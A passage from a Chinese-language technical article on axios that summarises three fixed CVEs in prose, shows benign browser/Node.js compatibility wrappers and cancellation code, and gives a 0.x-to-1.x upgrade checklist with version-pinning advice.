false,});CVE-2025-58754：data URI 导致内存耗尽影响版本：0.28.0 - 1.11.0。axios 对 data URI 的处理没有执行 maxContentLength 和 maxBodyLength 的限制检查，攻击者可以构造超大 data URI 导致 Node.js 进程内存耗尽。1.12.0 修复了此漏洞。CVE-2025-62718：NO_PROXY 主机名绕过影响版本：≤ 1.14.1。axios 在匹配 NO_PROXY 规则时没有对主机名做规范化处理，攻击者可以通过主机名的不同表示形式绕过代理规则，实现 SSRF。1.15.0 修复。CVE-2026-25639：mergeConfig 中的原型污染 DoS影响版本：1.0.0 - 1.13.4。mergeConfig 函数在合并配置时未过滤 proto 键，攻击者可以通过注入 proto 属性触发原型污染，导致 DoS。1.13.5 修复。兼容性处理实战浏览器环境兼容axios 依赖 Promise 和 XMLHttpRequest（或 Fetch API），在旧浏览器中需要 polyfill。实际项目中更推荐按特性检测来决定适配器策略，而不是一刀切。import axios from "axios";// 根据环境自动选择适配器function createClient(config = {}) { const adapter = typeof fetch !== "undefined" ? "fetch" : typeof XMLHttpRequest !== "undefined" ? "xhr" : undefined; // Node.js 使用 http 适配器 return axios.create({ adapter, ...config });}Node.js 环境兼容axios 1.x 的 Node.js 适配器需要 Node.js 12+。在 SSR 场景中，同一段代码可能在浏览器和 Node.js 中运行，需要根据环境配置不同的 Agent。const instance = axios.create({ // Node.js 环境配置 keep-alive ...(typeof process !== "undefined" && { httpAgent: new (require("http").Agent)({ keepAlive: true }), httpsAgent: new (require("https").Agent)({ keepAlive: true }), }),});版本兼容封装在维护多个项目或渐进式升级时，封装一层兼容层可以隔离版本差异，降低升级成本。// compat.js - 版本兼容封装import axios from "axios";const isV1 = axios.VERSION && axios.VERSION.startsWith("1.");// 统一取消请求接口export function createCancelableRequest() { if (isV1) { const controller = new AbortController(); return { signal: controller.signal, cancel: (msg) => controller.abort(msg), }; } const source = axios.CancelToken.source(); return { cancelToken: source.token, cancel: (msg) => source.cancel(msg), };}// 统一实例创建export function createInstance(config = {}) { return axios.create({ ...config, ...(isV1 && { transitional: { clarifyTimeoutError: true, forcedJSONParsing: true }, }), });}从 0.x 升级到 1.x 的检查清单升级前逐项排查，可以避免大部分线上故障。第一步：排查 CancelToken 使用。全局搜索 CancelToken 和 source.cancel，替换为 AbortController。注意 abort() 后 signal 不可复用，循环请求场景需要每次新建 controller。第二步：检查参数序列化。如果后端依赖 null 参数传空字符串的行为，确认升级后序列化结果是否一致。可以用 paramsSerializer 自定义序列化逻辑。第三步：检查 TypeScript 类型。1.x 的类型导出路径有调整，AxiosResponse、AxiosRequestConfig 等需要确认导入方式。第四步：检查自定义适配器。如果项目中使用了自定义适配器（如缓存适配器、Mock 适配器），需要适配 1.x 的适配器接口变更。第五步：安全版本确认。确保升级到 1.15.1 以上版本，修复所有已知 CVE。低于 1.15.0 的版本至少存在两个未修复的安全漏洞。版本锁定与更新策略生产环境中，推荐锁定 axios 的精确版本号，避免隐式升级引入兼容性问题。同时定期检查安全更新。{ "dependencies": { "axios": "1.16.1" }}对于 Monorepo 或微前端项目，使用 resolutions 字段统一 axios 版本，避免不同子项目引用不同版本。{ "resolutions": { "axios": "1.16.1" }}追问：axios 和 fetch 该怎么选新项目中如果只需要基本的请求功能，fetch API 已经足够，浏览器原生支持无需安装依赖。但如果需要拦截器、自动 JSON 转换、请求取消、超时控制、XSRF 防护等开箱即用的能力，axios 仍然是更高效的选择。axios 1.6+ 的 Fetch 适配器让两者可以共存，在 fetch 基础上获得 axios 的上层能力。